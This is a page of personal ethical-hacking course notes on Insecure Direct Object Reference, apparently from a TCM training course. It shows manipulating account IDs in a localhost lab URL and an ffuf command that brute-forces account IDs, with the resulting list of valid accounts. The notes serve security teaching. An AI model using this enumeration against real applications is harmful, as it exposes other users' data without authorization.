TCM Security Academy Notes - by syselement
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  • TCM Security Academy Notes
  • Courses
    • TCM - Linux 101
      • 1. Introduction
        • Linux Distributions
        • Installing Linux
      • 2. Command Line
        • Intro to Command Line
        • Getting help on the Command Line
        • Command Line Arguments and Options
        • Reading Text Files
      • 3. File System
        • Filesystem Hierarchy Standard
        • Devices, Partitions and Mounting
        • Absolute and Relative Paths
        • Files and Directories
        • Paths, Filenames and Text Files
        • Filesystem Links
        • Archiving and Searching Files
      • 4. Users and Groups
        • Working with Users and Groups
        • File and Directory Permissions
        • Changing Users and Passwords
      • 5. Installing Software
        • Package Management
      • 6. Shells
        • Common Command Line Shells
        • Environment Variables & Startup Files
        • Input/Output Redirection
        • Command History & Substitution
      • 7. Utilities and File Editors
        • Searching and Processing Text
        • Networking at the Command Line
        • File Transfer
        • Text Editors and Converters
      • 8. Process Management
        • Process Information
        • Foreground and Background Processes
        • Managing Processes
        • Scheduling Processes
      • 9. Regular Expressions
        • Regular Expressions, Searching, Replacing, Building
      • 10. Bash Scripting
        • Bash Scripting Basics, Control Structures, Loops
      • 🌐Linux101 References
    • TCM - Mobile Application Penetration Testing
      • 1. Introduction & Mobile Pentesting
      • 2. Android Security
      • 3. Android Lab Setup
      • 4. Android Static Analysis
      • 5. Android Dynamic Analysis
      • 6. Android Bug Bounty
      • 7. iOS Security
      • 8. iOS Lab Setup
      • 9. iOS Static Analysis
      • 10. iOS Dynamic Analysis
      • 11. iOS Bug Bounty
      • 🌐MAPT References
    • TCM - Practical Ethical Hacking
      • 1. Introduction & Networking
      • 2. Lab Set Up, Linux & Python
        • Intro to Kali Linux
        • Intro to Python
      • 3. The Ethical Hacker Methodology
        • Information Gathering
        • Scanning & Enumeration
        • Vulnerability Scanning with Nessus
        • Exploitation Basics
        • Capstone Practical Labs
      • 4. Active Directory
        • Active Directory Lab
        • AD - Initial Attack Vectors
        • AD - Post-Compromise Enumeration
        • AD - Post-Compromise Attacks
        • AD - Additional Attacks
        • AD - Case Studies
      • 5. Post Exploitation
      • 6. Web Application
        • Web App Lab Setup
        • Web App - SQL Injection
        • Web App - XSS
        • Web App - Command Injection
        • Web App - Insecure File Upload
        • Web App - Authentication Attacks
        • Web App - XXE
        • Web App - IDOR
        • Web App - Capstone Practical Lab
      • 7. Wireless Attacks
      • 8. Legal Documentation & Report Writing
      • 🌐PEH References
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  1. Courses
  2. TCM - Practical Ethical Hacking
  3. 6. Web Application

Web App - IDOR

PreviousWeb App - XXENextWeb App - Capstone Practical Lab

Last updated 3 months ago

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➡️ Insecure Direct Object Reference (IDOR) occurs when an application exposes direct access to objects (e.g. database records, files, etc) without proper authorization, allowing attackers to manipulate or access unauthorized data.


IDOR - Insecure Direct Object Reference

  • Try to change the account object ID in the URL to something else

    • http://localhost/labs/e0x02.php?account=1009

    • http://localhost/labs/e0x02.php?account=1010

  • Enumerate all the accounts within the application

cd $HOME/tcm/peh/webapp

# Create IDs file from 1 to 1000
python3 -c 'for i in range(1,2001): print(i)' > num.txt

ffuf -u 'http://localhost/labs/e0x02.php?account=FUZZ' -w num.txt -fs 849
# Valid accounts
1000
1001
1002
1004
1006
1005
1009
1007
1010
1008
1016
1012
1014
1019
1011
1017
1015
1013
1018
1003

PayloadsAllTheThings - Insecure Direct Object References